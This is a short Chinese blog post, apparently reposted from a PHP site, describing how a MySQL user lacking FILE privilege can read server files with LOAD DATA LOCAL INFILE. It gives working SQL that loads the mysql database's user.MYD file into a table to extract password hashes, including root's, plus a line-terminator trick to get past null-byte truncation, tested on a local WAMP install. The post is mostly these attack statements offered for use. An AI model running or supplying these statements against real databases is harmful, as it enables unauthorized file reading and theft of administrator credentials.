mysql低权限拿shell_Mysql漏洞利用（越权，实战如何从低权限拿到root密码）_MySQL...

小灰灰 2022-10-27 02:52 137阅读 0赞

众所周知，Mysql的用户在没有File权限情况下是无法通过Load\_file读文件或者通过into dumpfile 或者into outfile去写文件，但是偶尔在一个网站上发现个小技巧，也就是通过load data infile可以读取本地文件到数据库，这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下：

LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';后来我就一直想怎么利用这个问题。一个可行的思路如下：

我们去读取mysql的数据库文件，mysql库的user表里存放着所有用户的hash，我们只要读取到这个文件，就差不多读取到了root的密码。

于是本地测试,注意，我当前连接的用户test是没有File权限的：

![1405KJ9101560-19456.jpg][]

下面我们执行如下语句：

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';

然后select \* from test2;

![1405KJ9153120-22V9.jpg][]

发现啥都木有，只有一个烂字符，我们用winhex打开一下user.myd文件

![1405KJ91Y060-3SS.jpg][]

OK，找到问题了，被00字符给截断了，导致后面的东西都没进数据库。下面就想办法绕过这个限制。

经过几次尝试发现，在后面加上LINES TERMINATED BY ‘/0′ 即可，这样子就把截断符号作为分隔符处理了，完整的语句：

LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '/0';

效果：

![1405KJ9229E0-44625.jpg][]OK，完成！

![f68f2add0b68e4f9810432fce46917b7.png][]

本文原创发布php中文网，转载请注明出处，感谢您的尊重！

[1405KJ9101560-19456.jpg]: http://img.bitscn.com/upimg/allimg/c140719/1405KJ9101560-19456.jpg
[1405KJ9153120-22V9.jpg]: http://img.bitscn.com/upimg/allimg/c140719/1405KJ9153120-22V9.jpg
[1405KJ91Y060-3SS.jpg]: http://img.bitscn.com/upimg/allimg/c140719/1405KJ91Y060-3SS.jpg
[1405KJ9229E0-44625.jpg]: http://img.bitscn.com/upimg/allimg/c140719/1405KJ9229E0-44625.jpg
[f68f2add0b68e4f9810432fce46917b7.png]: /images/20221024/223c2ecc7e9a45079e95b0262a0ba6ea.png